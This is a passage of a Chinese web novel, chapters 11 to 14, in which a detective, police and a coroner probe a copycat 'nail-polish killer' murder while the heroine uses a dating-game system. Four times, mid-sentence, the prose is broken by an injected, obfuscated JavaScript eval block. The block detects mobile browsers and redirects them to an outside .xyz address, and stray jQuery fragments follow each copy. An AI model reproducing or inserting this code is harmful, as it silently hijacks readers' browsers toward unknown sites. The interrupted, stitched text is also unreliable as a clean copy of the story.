程述家在五楼,老式筒子楼没有电梯,祝好只能扶着楼梯扶手缓慢向下挪动。
程述双手插在口袋里,吹着口哨在前面慢悠悠地走着,没有任何要搀扶她的意思。
路过三楼时,房东大妈的家门一如既往敞开着,她正坐在门前给那条白色的卷毛小狗梳毛,听到脚步声,抻长脖子向外张望了一下。
祝好脚步一顿,生怕她又追上来讨要房租,没想到她脸上居然挂着笑:“哟,小程,跟女朋友出去玩呀?”
想来是程述昨天缴清了欠下的房租,大妈心情格外不错,连称呼都变得亲切了。
程述没有反驳也没有解释,笑着“嗯”了一声,后退两步站在跟祝好平齐的阶梯上,用眼神示意她挽着自己。
祝好双手抓着栏杆,满脸警惕:“你又想干嘛?”
程述贴近她耳朵,把声音压得很低:“如果让她知道有个被变态杀人狂追杀的女人住我家里,我就跟你一样无家可归了。”
祝好:……
虽然内心不爽,但还是咬咬牙,挽住了他的胳膊。
程述对房东大妈挥了挥手:“张姨,我们走了啊。”
刚走到楼梯拐角,两人立刻默契地松开手,他还不忘装模作样拍了拍手臂,恨不得把“逢场作戏”这几个字写在脸上。
祝好冷哼一声,幼稚。
程述和秦聿风约好的地点在温珣的法医办公室。
祝好已经做好了直面被剖开的尸体的心理准备,怕自己忍不住吐出来,特地连早餐都没吃。
所幸法医办公室和解剖室是分开的,办公室里除了一张会议桌,几张椅子和一大堆看起来不明觉厉的仪器外,就只有一张贴满照片的白板。
一眼瞟过去,白板上的照片都是尸体各部分的特写,祝好不敢细看,在离得最远的一张椅子上坐下。
等了好一会儿,温珣才抱着一沓文件慢悠悠走进来。
他对着祝好笑了笑,眼神扫到程述身上时,笑容又凝固了,转头问秦聿风:“你说要等的人就是他啊?”
秦聿风低头翻看着手里的文件,没说是,也没说不是,只是对
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000016|161731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着白板抬了抬手:“温主任,开讲吧。”
温珣满脸不情愿地在椅子上坐下了,用一只红外线笔指着白板上的照片:
“受害人年龄23岁左右,身高162.8厘米,体重46公斤,数据库里没有找到匹配的指纹,目前尚不清楚死者的身份。不过从皮肤和头发的保养状态来看,她的生活条件应该不错。”
“死者的死亡时间是前天晚上十一点左右,死因是心脏受损后造成的心搏骤停,凶器么,就是胸口那把水果刀。”
“另外,她血液里的酒精浓度高达为300mg/100ml,而且在她体内也发现了咪达唑仑的成分。”
程述走到白板前,对着位于右上角的一张照片仔细端详:“皮下组织没有片状出血,颈部的索沟是死后形成的吧?”
温珣点头,扶了扶眼镜:“另外,除了心脏的致命伤之外,她身上的其他刀伤都是死后伤,而且伤口都不深。”
“凶器是什么?”程述问。
“看伤口的形状,应该是一把匕首。”
秦聿风捻着下巴,双眉紧锁:“可指甲油杀手之所以从近处袭击受害者,就是享受直接接触给他带来的支配的快感,麻醉这种手段他应该不屑用才对。”
“会不会是他年纪大了,或者生病、受伤了,体力跟不上,担心自己控制不了受害者,才会选择麻醉剂?”祝好自然地参与话题。
“也不排除这个可能。”秦聿风道。
程述拧着眉思忖片刻,摇了摇头:“不是他。”
他走回椅子上坐下:“以往的案子中,受害人身上会有许多不致命的刀伤,而且都是死前形成的,说明指甲油杀手喜欢看到她们痛苦和苦苦哀求的模样。”
想起秦聿风跟自己说过程霜也曾经遭到指甲油杀手的虐待,祝好忍不住打了个寒噤,偷偷抬眼看向程述。
程述没注意她的目光,兀自说道:“这次的受害者颈部的索沟和刀伤都是死后伤,这显然只是凶手在模仿他作案的手法。”
秦聿风若有所思,转头问温珣:“还有什么发现吗?”
“她的胃内容物只有一部分进入了十二指肠,食糜里面有米饭、海苔、三文鱼,还有酒味,说明她死前两到三个小时左右刚吃了顿日本料理。”
温珣把几张照片摆在桌上,祝好瞥了一眼立刻捂住嘴,感觉这辈子要彻底告别日料了。
“还有一点很重要。”温珣继续道:“她手上的指甲油成分和祝小姐手上的是一样的,但是跟几年前其他受害人手上的不是同一种。”
祝好把手从嘴上拿下来,看着被自己抠得斑斑驳驳的指甲盖,疑惑道:“这也能看出来?”
温珣点点头:“指甲油分水性和油性。这次的受害人手上的指甲油里有丙酮、乙酸乙酯和防腐剂等,属于油性指甲油;而前几年凶手用的指甲油只有丙烯酸,属于水性指甲油。”
祝好不解:“这说明不了什么吧,同一瓶指甲油他也不一定能保存那么多年。”
秦聿风冷笑一声:“我们这位杀手先生可是个偏执狂,指甲油是他的标志,也是他用来回味犯罪过程的东西,他一定会好好保存,不会轻易换掉。”
说完又转头问程述:“老程,你觉得呢?”
12. 第 12 章
程述抵着额角,认真思考着:“如果是模仿作案,那凶手对指甲油杀手未免也太了解了。从受害人类型、施虐方式、凶器、红色指甲油,甚至……”
他看了祝好一眼:“还把受害者的头发剪短,目的就是借此误导警方。”
秦聿风点头赞同:“不仅作案手法一模一样,就连把被害人的手固定在十字架上的绳结都是一样的布林结,这些案件细节我们从来没有对外公布过,除了警局内部的人,还有谁会知道?”
顿了顿,他突然坐直身子,十指交叉在鼻端前,微微一眯眼:“老程,前天晚上十一点,你在哪儿?”
程述愣了一下,旋即反应过来,怒极反笑:“你有病吧,你特么怀疑我?”
秦聿风不置可否,但他的严肃的神情已经说明了一切。
“按你这么说,你们警队上下凡是接触过这个案子的都有嫌疑,你怎么不去查他们?真是白瞎了你队长的位置。”
程述面无表情地看着他。
秦聿风任他咋呼,凌厉的目光也一直没从他脸上移开。
方寸大的法医办公室气氛陡然间紧张起来,祝好看着剑拔弩张的两个人,有些不知所措,寻思着如果他们打起来自己要往哪儿躲。
而同样是局外人的温珣斜靠在椅子上,勾起的嘴角带着些事不关己的从容,一副看戏不嫌台高的模样。
两人对峙了片刻,程述出乎意料先服软了。
他往椅背上一靠,抱着双臂:“前天晚上我在家喝酒,喝完就睡了。”
语气和姿势都透露出不满。
“谁能证明?”秦聿风穷追不舍。
程述忍无可忍,“腾”一下坐直,欠身对上他的目光:“要不我说你有病呢?我一个人住,你问我谁能证明?你要是怀疑我,直接把我拷起来枪毙不就得了,问那么多干嘛?”
秦聿风手指敲击着桌面,露出沉吟不绝的神色,似乎在思考这个方案的可行性。
趁着没人说话的当儿,祝好小心翼翼地举起手:“秦警官,我在家里茶几上看到一张楼下便利店的购物小票,没记错的话,时间是前天晚上十点四十多分,或许你可以去查查便利店的监控。”
她倒也不是想替程述辩解,只是实话实说而已。
没想到程述连句最基本的感谢都没有,往后一靠,扬了扬下巴:“还有我房东,就三楼那个大妈,她天天敞着门,我有没有出门她最清楚了。”
秦聿风恢复了往日一贯的好脾气,拍了拍他的肩膀:“我现在让人去查,你去我办公室里等着吧,我给你开空调,再给你点份外卖。想吃什么,三文鱼寿司?”
程述无可奈何地起身,撒气似的刻意把拉椅子的动静弄得很响,狠狠翻了个白眼,又骂了句:“秦聿风,你可真特么有病。”
走到门口,秦聿风忽然想到什么,回头叮嘱道:“温主任,让祝小姐留在你这歇会儿没问题吧?”
好戏落幕得太快,温珣还有些失望,听他这么说,又重新换上一副笑脸:“当然没问题。”
秦聿风点点头,把门带上了。
祝好松了口气,转向温珣:“温主任,那天走得太急,我还没来得及正式感谢你呢。”
她说的是手机的事,虽然在这个游戏世界里没什么人会联系自己,但有了手机终归还是方便一些。
温珣笑了笑:“说了不用客气,如果你实在要谢,待会儿请我吃个午饭吧,警局门口的面馆就行”
祝好感动得差点涕泗横流,长得帅就算了,还那么善解人意,这样的好男人果然只会出现在乙游里。
再说了,一碗面就能换来一部手机,自己还有不答应的理由吗?
还真有,那就是她没钱。
全身上下一毛钱也没有。
温珣见她不吱声,还以为自己的要求过分了,又开口替她解围:“开玩笑的,我请你——”
话还没说完,就被祝好打断:“不行不行,怎么能让你请呢?我请我请。”
他还想说点什么,办公室的内线电话就响了起来。
温珣接起电话,嗯了一声,转过头抱歉地对祝好道:“我要去鉴证科一趟,你在这儿歇着等我行吗?遥控器放桌上了,如果空调太凉你自己调一下。”
祝好连忙点头:“你去忙吧。”
看着温珣走出办公室,她赶紧唤出系统。
系统委屈巴巴:“宿主,您终于想起我了。”
这话说得,好像它很有用似的。
祝好没搭腔,点开商城划拉半天,终于找到了让她眼前一亮的选项——是可以在游戏里花的钱!
她迫不及待点进去,系统弹出提示:“10积分可兑换100元,请问要使用多少积分?”
行走江湖,没点现金傍身可不行。
但是也不能把积分全拿来换钱了,毕竟现在积分有限,得用在刀刃上。
祝好粗略算了算,两碗面再怎么奢华顶多花100元,再留着100元备用就差不多了,于是选了个20。
下一秒,手里就多了两张百元大钞。
她把钱折起来放进兜里,看了眼毫无动静的门口,继续查看着商城里的东西,发现最下方有几个问号。
她问系统:“这是什么?”
系统回答:“这是未解锁的道具,积分达到一定数量即可解锁。”
好家伙,什么破游戏,就这些个没用的玩意儿还要藏着掖着的。
门外响起脚步声,祝好关掉控制面板,若无其事地趴在会议桌上。
明明是自己办公室,温珣还是先敲了敲门才进来。
他走到一个冰柜前,突然想起什么,又转头问祝好:“祝小姐,你能吃冰的吗?”
见祝好点头,他才打开冰柜上层拿了个哈根达斯,又递给她一把勺子,问道:“你脚上的伤怎么样了?”
祝好接过哈根达斯,道了声谢,笑了笑道:“比前两天好多了,就是有些淤青和肿胀,走路的时候还有点儿疼,再休息几天就没事了。”
他拉过一张椅子在她身边坐下,沉吟片刻:“要不你把鞋子脱了吧,我给你按按。”
祝好“啊”了一声,下意识把腿往回收:“这、这不太好吧……”
虽说她也不是思想停留在封建社会男女授受不亲的老古董,但是这才认识没多久就让别人给自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000017|161731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己按脚,多少还是有些不妥。
温珣却很坚持:“没什么不好的,别看我是个法医,平时面对的都是死人,但这种小伤我还是有点经验的。扭伤是软组织损伤,光靠身体自愈恢复得很慢。”
她正思忖着怎么婉拒,系统突然蹦出来:“宿主,接受可攻略角色的好意有可能提升好感度哦。”
祝好咬了咬嘴唇,行吧,为了积分,豁出去了。
她把哈根达斯放在会议桌上,弯腰解开了自己的鞋带:“那——那就麻烦你了。”
温珣拖动椅子往后坐了些,小心翼翼抬起她受伤的那条腿搁在自己腿上。
他动作轻柔地从小腿肚向下揉捏,认真解释道:“适当的按摩可以起到疏通经络、活血化瘀的作用,缓解肿胀、疼痛和屈伸不利的症状。”
还不忘抬头关心她:“疼吗?”
祝好连忙摇头,只觉得脸颊发烫,下意识摸了摸自己的鼻端,生怕鼻血控制不住喷涌而出。
系统突然冒头,得意洋洋道:“宿主,现在你知道本游戏的魅力了吧?”
祝好:“滚蛋!”
真没出息,不就是个帅哥吗?
她在内心狠狠敲打自己,拿起桌上的哈根达斯猛挖了一大勺塞进嘴里。
门外传来两声干咳,祝好抬起头,看到程述懒洋洋地斜倚在门边,抱着胳膊,挑了挑眉:“温主任,没打扰到你泡我的助手吧?”
温珣斜乜他一眼,毫不客气地回道:“程大侦探这是刑满释放了?”
程述耸了耸肩:“不然呢?我又没杀人,是你们秦队有病,疑神疑鬼的。你有时间治别人的脚伤,还不如给他看看脑子。”
祝好忍不住替秦聿风辩解:“话不能这么说,秦警官也是负责嘛。”
他冷笑一声,瞥了眼祝好手上的哈根达斯,又把眼神转向冰柜:“温主任,没记错的话,你们这个冰柜是用来存放检验到一半的内脏和头盖骨的吧。”
祝好动作一顿,拿着勺子的手停滞在半空中,向温珣投去询问的目光。
温珣一脸无辜地解释:“没关系的,放内脏的是下层。”
她忍不住干呕了一声,看着手里的哈根达斯,吃也不是,不吃也不是。
好家伙,上下层不都是一个冰箱吗?为什么他的语气平静得好像讨论的是兰州拉面该不该加葱花一样?
程述脸上露出计谋得逞的微笑,祝好知道他等的就是自己这个反应,心一横,端起哈根达斯一口气吃光,把空盒子撂在桌上,挑衅似的看向他。
系统突然响起提示:“与温珣的好感度+5,获得50积分。”
祝好心念一动,好家伙,内脏就内脏吧,这冰淇淋吃得也太值了!
温珣没再理会程述,微微一笑,轻轻把她的腿放到地上:“好了,你走两步试试,有没有好一些?”
她穿好鞋,起身在办公室里转了两圈,发现真的没那么疼了。
高兴之余,心想待会儿横竖得给他那碗面里加两个煎蛋。
秦聿风突然风风火火走过来,停在走廊对着温珣勾了勾手:“温主任,来活儿了,有人报警称发现疑似第一案发现场。”
13. 第 13 章
温珣还没来得及说话,程述就收敛了闲散的态度,问道:“在哪儿?”
“在哪儿跟你有什么关系?”秦聿风一脸意味不明的笑:“非警务人员不能进入案发现场,你忘了?”
祝好一头雾水,不知他葫芦里卖的什么药。
上回发现尸体时明明还主动要求程述去了,怎么今天就突然换了种说辞?
程述看起来也十分窝火:“秦聿风,你今天到底整什么幺蛾子,非跟我过不去是吧?”
“那倒不是。”秦聿风不紧不慢从口袋里摸出一张纸递给他:“把这个签了,将来不管是警局还是案发现场就都跟你家一样,想去就去。”
程述沉着脸接过那张纸看了一眼,喉结微动,黑沉沉的眸子里翻涌着不明的情绪。
祝好好奇地踮起脚尖抻长脖子,发现那是一张聘用合同。
她还没来得及看清内容,程述就把合同塞回秦聿风手里,轻笑一声:“秦聿风,你可真行啊,别人是给了一巴掌,再喂颗糖。你倒好,给了一巴掌,又给一巴掌。”
秦聿风也不气恼,好脾气地笑了一下:“老程,我知道你不愿回警局,但当个外聘的刑事犯罪顾问总可以吧?”
他语气十分诚恳:“只要你签了字,不仅有工资拿,还有人任你差使,所有罪案的一手资料和物证都能看,时间自由,还没人管你,到底有什么不好的。”
程述目光冷了下来:“什么都好,但我说过这辈子跟警察沾边的事儿我都不会干。不当警察,不靠你,这案子我一样能查。”
说完径直往外走。
走了几步,又回头问祝好:“你跟我走还是留在这儿?”
祝好还想着要请温珣吃饭的事儿,听他这么一问,愣怔片刻,抱歉地跟温珣说了句“下次约”,才匆匆忙忙跟上前。
程述腿长步子大,加上人在气头上,走得特别快。
出了警局拉开车门往驾驶座上一靠,等了半晌,祝好才气喘吁吁坐上副驾驶。
他把车开出警局,停在路边,直到几辆警车从警局门口鱼贯而出,他才重新启动车子。
祝好问:“你这是要去哪儿?”
他紧盯着警车:“他们去哪儿,我就去哪儿。”
警车一路疾驰,程述的车不紧不慢地跟在后面。
随着窗外的景致越来越熟悉,祝好才回忆起来,这正是前天发现尸体的那个森林公园,只不过换了个入口。
想来也是,公园里平时禁止车辆驶入,要从外面把尸体运进来可不容易。
但如果凶手是在公园里对受害者下手,转移起来就方便许多。
可那天晚上下着大暴雨,受害者为什么会出现在公园里?
程述把车停在公园外的路边,打开后备箱,从一个大箱子里翻出一顶棒球帽,一手将凌乱的刘海往后一捋,一手顺势将帽子扣在头上。
想了想,找出一副太阳镜扔给祝好:“戴上。”
祝好不明所以,但阳光刚好有些刺眼,便把太阳镜架在鼻梁上,两人一前一后进了公园,往人群聚集的地方去了。
从这个入口进来,所见的景致与上回完全不一样。
这回直通的是生态园林,入眼是各种形态的植物,参天的乔木挺拔而立,阳光被繁茂的枝叶切割成细碎的光斑,洒落在地上。
公园建设初期本来只规划了这块地,既然是公园,就必定得有些什么娱乐设施,所以园林中间就建起了一片小型的游乐场。
起初还有人去光顾,后来公园扩大面积,又划分了专门的休闲区,挖了一大片人工湖,湖中心建起一座凉亭,周围还铺设了塑胶跑道,放置了许多健身器械。
这么一来,市民也不会动不动往生态园林里钻,只是偶尔有徒步爱好者进去转转,那座小型游乐场也就理所当然地荒废了,只剩下一具空壳子,却不知为何一直没拆掉。
疑似第一现场的是游乐场角落的一间鬼屋,这里本来就僻静又阴森,徒步的人基本都绕着走,保安巡逻也是粗略看一眼了事,只剩一把生锈的大锁锁住大门。
警戒线外已经围满了闻讯赶来看热闹的围观群众,程述压低帽檐,齁着身子,左拐右拐混进人群中。
祝好这才发觉他这是在刻意避开维护秩序的警员,不知不觉也跟着心虚起来,只得做贼似的亦步亦趋跟在他身后。
他来到几个身穿五颜六色广场舞服、正窃窃私语的阿姨身旁,先是装出好奇的模样张望片刻,才向阿姨打听:“阿姨,里面怎么回事儿啊?”
那副皮囊搭配上一个人畜无害的笑脸,十分具有迷惑性。
阿姨们丝毫没有戒备,七嘴八舌地讨论起来:“小伙子,说了你可别害怕,里面好像是杀人现场。”
他佯装惊讶:“杀人现场?”
“前几天死人那事儿你还不知道吧?可吓人了!我听说这儿就是她被杀死的地方,可真是瘆得慌。”一个穿着粉红色衣服的阿姨撇了撇嘴。
程述抬起帽檐擦了擦额头上的汗,又问:“怎么发现的呀?”
另一个穿着绿色衣服的阿姨十分自然地用扭秧歌的扇子给他扇风:
“说是有个姑娘遛狗时,狗挣脱了绳子往这鬼屋里跑,怎么叫都不回来。那姑娘瞧见里边黑乎乎的,不敢进去,只好打电话给公园管理处,管理处派了两个保安来,进去一看,好家伙,里边全是血!”
祝好听得入神,却看到一个警员拨开人群径直朝这边走来,停在程述面前:“程先生,抱歉,你不能呆在这儿。”
程述嘴角抽了抽,啧了一声:“我只是普通的围观群众,凭什么他们都能看,我不行?”
警员面露难色,眼睛瞥向秦聿风的方向,压低声音:“是秦队的命令,您别为难我们了。”
程述的目光越过人群,与警戒线里的秦聿风对视了一眼。
秦聿风抬起手,用两只手指指了指自己的眼睛,又指了指他,意思就是“我盯着你呢”。
*
回到车上,程述狠狠捶了下方向盘,骂了句国粹。
他的手机突然连续弹出好几声提示音,祝好余光瞥见屏幕上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000018|161731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
弹出来几条信息,都来自一个熟悉的名字——许安宁。
程述摁开手机,快速扫了一眼却没回复。关掉声音后,烦躁地把手机扔到车门的储物箱里。
祝好有些不解,秦聿风这是明摆着要逼他签那份聘用合同,明明他开出的条件如此诱人,程述为什么那么抗拒?
她清了清嗓,问:“你为什么不愿回警局?”
程述手指敲击着方向盘,答得有些不耐烦:“不想回就不回呗,哪儿有那么多为什么。”
“是因为——”
话到嘴边,又急急忙忙掐住,再三斟酌了语气,她才问出口:“因为受害者里有你认识的人吗?”
程述动作一滞,转头看她,眼里的温度骤降:“秦聿风告诉你的?”
她想起秦聿风的嘱咐,心念电转间,飞快地打了好腹稿:“我猜的。我在网上查了受害者的名单,看到了跟你一样的姓氏,加上你对这起案子特别上心,所以——”
本以为这套说辞十分具有说服力,然而话还没说完,就被他打断了:“警方从来没有公布过受害者的名字,你从哪儿看到的?”
祝好噎住了,一时半会也想不出个合理的解释。
程述没给她把话题延伸下去的机会,他把胳膊架在椅背上,哼笑一声:
“退一万步讲,就算你是在网上查的,我就想知道,你为什么要这么八卦?还是你就是以打探别人的痛苦为乐?”
这话一出,祝好只觉得一股火气直冲天灵盖,偏过脸直勾勾对上他的目光:“八卦?你觉得我是因为八卦?”
他勾着嘴角:“不然呢?难不成是因为暗恋我?”
什么人呐!
祝好庆幸自己是在素质教育下成长起来的五好青年,思想品格和道德标准至少都在合格线以上,不然高低得跟他干上一架。
她深吸一口气,压下怒火,一字一顿道:
“程大侦探,我不知道你对我有什么意见或者看法,但是你别忘了,我也差点成为受害者。要是我再稍微少了那么一点点幸运,可能你在公园里见到的尸体就是我。”
“所以我想查这个案子,只是想早点找出凶手,保护自己而已。不是因为八卦,当然更不可能对你这样无聊幼稚嘴还臭得要死的人有兴趣。”
话一说完,车里的气氛仿佛凝滞住了。
程述难得没有还嘴,垂着眼帘一言不发。
祝好莫名有些心虚,开始复盘自己是不是把话说得太重了。
最后还是她忍不住先开的口:“你不发表点看法?”
程述“哦”了一声:“我还以为你说完这些话就要摔门而出了。”
祝好一头黑线,看来这人不仅毒舌,脸皮也比自己想象的要厚得多,定不会因为几句话就黯然伤神。
“让你失望了,我可没你那么幼稚。”她捏了捏眉心,转过脸认真道:“程述,我们合作吧。”
“合作?我为什么要跟你合作。”程述往驾驶座上一靠,抱着双臂斜睨她:“换句话说,跟你合作,对我有什么好处?”
14. 第 14 章
祝好被他问得愣怔了一下,对啊,她手上有什么筹码,能让他心甘情愿跟自己合作呢?
她想了想:“如果我说我能回忆起来那天晚上发生的事儿呢?”
毕竟程述也说过,那天晚上试图杀死她的就算不是指甲油杀手,也一定跟他有关系。
没想到程述不吃这套:“你要是能回忆起来,直接告诉你秦警官不就行了?我一个三流私家侦探,靠帮别人抓猫找狗、偷拍出轨证据为生,连房租都付不起,你又凭什么觉得我能帮到你?”
祝好心念一动,换了个策略,打起了感情牌:
“秦警官如此大费周章想把你请回去,我猜一方面是因为你确实能帮到警方的忙,另一方面,他应该很欣赏你,觉得你的才能不该被埋没。”
“所以你绝不是什么三流私家侦探,而是最想、也是最有可能抓到指甲油杀手的人。”
“如果你是因为你妹妹的事心存愧疚,觉得自己不配当警察,所以才拒绝了秦警官的请求,那我也能理解你。”
程述没有说话,但睫毛微微闪动了一瞬,看似平静的目光中乍起波澜。
看来有戏!
动之以情之后,就是晓之以理。
祝好接着道:“可是你只有成为警局的犯罪顾问,借助警方的力量,才能尽快找到真凶,替你妹妹报仇。我呢,不用再担心有人随时要来杀我,也不用再占着你家阁楼了。所以我们合作,是双赢。”
噼里啪啦一顿输出,程述有没有听进去不知道,但她都要把自己感动哭了,觉得这口才不去做传销实在是可惜。
沉默了半晌,程述才说:“果然是秦聿风告诉你的,我可从来没说过受害者是我妹妹。”
祝好脸色一僵,说了那么多感人肺腑的话,他的关注点竟然是这个?
正想着怎么找补,就见他把鸭舌帽从头上摘下来扔到后座,推开了车门。
她忙问:“你去哪儿?”
“去签卖身契。”他一脚踏在地面,又回头问她:“走不走?”
*
看到他们的身影再次出现在警戒线外,维护秩序的警员急急忙忙走过来:“程先生,那个……”
程述抬起手,掌心对着他,示意他不用紧张:“能不能把你们秦队请出来,我有事儿跟他说。”
警员迟疑片刻,跟不远处的同事交代了几句,转身掀起警戒线就往里走。
过了几分钟,又领着秦聿风出来了。
秦聿风看着程述,似笑非笑:“你怎么又来了,不是说了非警务人员不能进入案发现场吗?”
程述也不废话,摊开手掌伸到他面前:“合同。”
秦聿风脸上闪过一丝惊异,似乎一时没想明白他的态度怎么会突然来了个一百八十度的大转弯。
直到祝好给他使了个眼色,他这才反应过来,让警员去找了支笔,从口袋里掏出合同递给程述,
程述没急着签字,慢悠悠把合同从头到尾读了一遍,指着“待遇”那一栏:“工资再加一倍,油费、餐费都要另外补贴。还有,我拒绝任何形式的加班。”
秦聿风无奈地笑了一下,答应得倒也爽快:“行,但我也有个要求。”
程述抬起眼,一脸戒备地看着他:“什么?”
秦聿风指了指他那一头乱糟糟的长发:“去把你这头发给剪了,胡子也刮一刮,什么工资补贴都好说。虽然是个外聘人员,但将来少不了经常出入警局,不知道的还以为你是哪儿来的通缉犯呢。”
祝好被他这形象的比喻逗得憋不住“噗嗤”笑出来,又担心程述反悔,赶紧掩着嘴装作不经意地干咳了两声。
好在程述只是抿了抿嘴,捋了下头发,低头刷刷签下自己的名字,把那一纸合同和笔一起塞回秦聿风手里:“公事谈妥了,你的账我之后再跟你算。”
秦聿风把合同折起来收进兜里,茫然道:“什么账?”
祝好心虚地缩着脖子,悄悄往后退了半步,躲开了他的目光。
*
游乐场面积不大,除了那间鬼屋外,就只有滑梯、旋转木马之类简单的游乐设施。在风雨的洗刷下,外壳上彩漆早已褪了色,变得灰蒙蒙的。
鬼屋在游乐场最里边,大门上画着一个张大嘴的吸血鬼,乍一看不但不可怕,甚至还有些滑稽。
刑事照相人员正对着掉在地上的一把生锈的锁拍照,等他拍完,秦聿风才戴上手套,捡起那把明显带着砸痕的锁:
“这里平时没什么人来,这把锁也不知道用了多少年,石头一砸就开了。”
程述问:“那天晚上公园的值班保安呢?”
秦聿风有些无奈:“保安重点巡逻的是休闲区那片,生态园林向来只是随便看一眼,而且那天晚上雨下得很大,更不会有人到这边来了。”
祝好打开手机上的地图看了一眼,发现这个游乐场距离抛尸的那块草坪大概有一公里左右,而一路上居然没有一个摄像头拍到凶手的身影,说明他对这个区域应该十分熟悉。
秦聿风点点头同意了她的看法:“我已经派人排查公园的工作人员了。”
踏进吸血鬼的大嘴里,呛人的灰尘与还没消散干净的血腥味混合成一股难以言喻的味道直扑面门而来,祝好不禁捏紧口罩。
这世界真奇妙,明明前几天她还躺在房间的床上打游戏,此时此刻却身处血迹斑斑、蝇虫乱飞的犯罪现场。
这间许久没人来过的鬼屋地上积着厚厚的灰尘,确实像外面广场舞阿姨传的那样“全是血”,不过大部分是之前用来烘托恐怖氛围涂上的红漆。
在紫外线灯照射下,地面上一小滩呈现土棕色的才是真正的血迹,还有少量滴落的血液向门外延伸。
除此之外,还发现了几枚带血的鞋印。
痕检人员拿着尺子测量了血脚印的长度,道:“秦队,这鞋印是43码的,从鞋底看像是水鞋。”
秦聿风蹲下身子认真观察着那几枚脚印:“鞋是43码的,但是重心都压在前侧,而脚后跟的血迹很淡,说明这鞋凶手穿着并不合脚。”
程述抱着胳膊冷笑一声:“故意穿了双跟指甲油杀手同样鞋码的水鞋,这样的细节他都知道,你得好好查一下警局内部了。”
秦聿风给了他一个“这还用你说”的眼神,又叹了口气。
公园的所有工作人员,加上警局内部人员都要排查一遍,可够他忙上好一阵子了。
现场并没有打斗痕迹,毕竟尸检结果表明受害者血液里的酒精浓度很高,加上被注射了麻醉剂,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000019|161731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说明她是在没有意识和反抗能力的情况下被杀死的。
从某些角度想,这也算是一种安慰。
身穿白大褂的温珣正半蹲在地上采集生物信息样本,听到脚步声,头也不抬地对秦聿风说:“虽然没做DNA比对,但从现场痕迹来看,基本可以断定这里是第一犯罪现场了。”
他指着地上那滩血迹道:“她被杀害时是仰躺的姿势,那把插进她胸口的水果刀直接刺破了心脏,导致心搏骤停,她几乎立即就死亡了,因此只有四周只有少量喷溅的血液。”
案发现场在鬼屋的大厅,再往里有一条七拐八拐的走廊,按指示牌来看,穿过走廊才是真正有“鬼”的地方。
警员们已经把整个鬼屋都搜查了一遍,打包好证据后,都开始陆续往外撤。
身为程述的“助手”,祝好暂时帮不上什么忙,只能无所事事地在一旁晃悠,偶然间听到两个警员的闲聊。
——“说起来,那个每年都会去警局门口拉横幅的姑娘今年好像没出现呢。”
——“都那么多年过去了,早该放下了吧。”
祝好猜到他们说的是许安宁,她的姐姐也是指甲油杀人的受害者之一。
可是,对凶手的憎恨和对家人的思念,真的那么容易就能放下吗?
——从她去程述家找他时那副焦急的模样,看着不像。
祝好正胡思乱想,眼神不经意往走廊飘去时,却发现黑暗中出现了一个小小的放大镜图标,紧接着系统传来提示音:“发现新的线索。”
她心里一突,冒出一串问号:线索?什么线索?一直被她吐槽的破游戏居然还有这种隐藏功能?
系统回答:“宿主,我们也算是半个悬疑推理向的游戏,重要的剧情点会有提示的。”
机械的语调没什么感情,语气却有些骄傲。
祝好回头看了一眼还围在一起讨论着什么的程述和秦聿风,思索片刻,独自往那条漆黑的走廊走去。
这个鬼屋里的“鬼”都是那种粗制滥造的塑料人偶,连小孩儿都不一定会被吓到,但走在黑暗逼仄又空无一人的走廊里,她还是不免有些紧张,赶紧从兜里掏出手机打开了手电筒,小心翼翼照亮脚下的路。
来到走廊深处,放大镜图标突然闪烁起来,说明线索就在附近。
祝好用手机照了照四周,只看到墙壁上有一副墙绘,内容是东方美女蛇大战西方恶魔,不仅画风清奇,画功也十分感人,让人不得不怀疑是不是鬼屋的老板为了省钱自己动手画上去的。
除此之外,并没有发现什么特别之处。
图标还在闪个不停,祝好有些疑惑:怎么回事,难道是游戏出bug了?
琢磨了半天,也没想出个所以然来,斟酌片刻,还是决定先往回走。
退了几步,不知踩到了什么,她脚底忽然滑了一下,赶紧抬手扶住墙,才勉强撑住了身体。
